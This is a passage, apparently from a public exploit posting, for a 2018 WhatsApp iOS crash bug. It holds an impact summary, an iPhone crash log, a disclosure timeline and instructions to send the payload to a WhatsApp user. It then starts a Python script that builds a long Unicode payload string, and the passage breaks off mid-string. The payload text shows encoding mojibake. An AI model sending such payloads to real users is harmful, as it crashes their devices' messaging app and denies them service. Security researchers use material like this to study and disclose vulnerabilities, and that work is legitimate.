The application fails to properly filter user-supplied input and its prone to a remote memory corruption. # # Impact: # Resource exhaustion attacks exploit a design flaw. An attacker could exploit this vulnerability to remotely corrupt the memory of the application forcing an uhandled exception # in the context of the application that could potentially result in a denial-of-service condition and/or remote memory corruption. # # Debug: # B04500954836","name":"WhatsApp"} # Date/Time: 2018-04-06 18:15:30.608135 +0200 # OS Version: iPhone OS 11.2.6 (Build 15D100) # Architecture: arm64 # Report Version: 19 # Command: WhatsApp # Path: /private/var/containers/Bundle/Application/2F86B692-D9A3-4BAC-B45E-6DCF62F47C2C/WhatsApp.app/WhatsApp # Version: 2.18.31 (2.18.31.32) # Beta Identifier: 4CA20191-C4A3-4920-ADEB-9ABAD10FCDF7 # Parent: launchd [1] # PID: 28010 # Event: cpu usage # CPU: 144s cpu time over 145 seconds (99% cpu average), exceeding limit of 80% cpu over 180 seconds # Action taken: Process killed # Duration: 144.81s # Steps: 48 # Hardware model: iPhone7,1 # Exception Type: EXC_CRASH (SIGKILL) # # How to use this exploit: # Send the payload as a message to a whatsapp user, trough a phone or whatsapp-web. # # Timeline: # Date and time of release: 6 April 2018 # Triaged by Facebook: 25 April 2018 # Reported to Apple ( it's a bug on their side ): 01 May 2018 # Vendor homepage: http://www.whatsapp.com / http://www.facebook.com import sys reload(sys) def whatsapp(filename): sys.setdefaultencoding("utf-8") payload = u'a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/ aC/!aC/C/aC/PSaC/$?aC/Y=aC/|aC/SSaC/"aC/(c)aC/aaC/<<aC/!aC/aC/(r)aC/-aC/degaC/+-aC/2aC/3aC/'aC/uaC/PaC/*aC/,aC/1aC/oaC/>>aC/1/4aC/1/2aC/3/4aC/?aPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPS aPS!aPSC/aPSPSaPS$?aPSY=aPS|aPSSSaPS"aPS(c)aPSaaPS<<aPS!aPSaPS(r)aPS-aPSdegaPS+-aPS2aPS3aPS'aPSuaPSPaPS*aPS,aPS1aPSoaPS>>aPS1/4aPS1/2aPS3/4aPS?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?
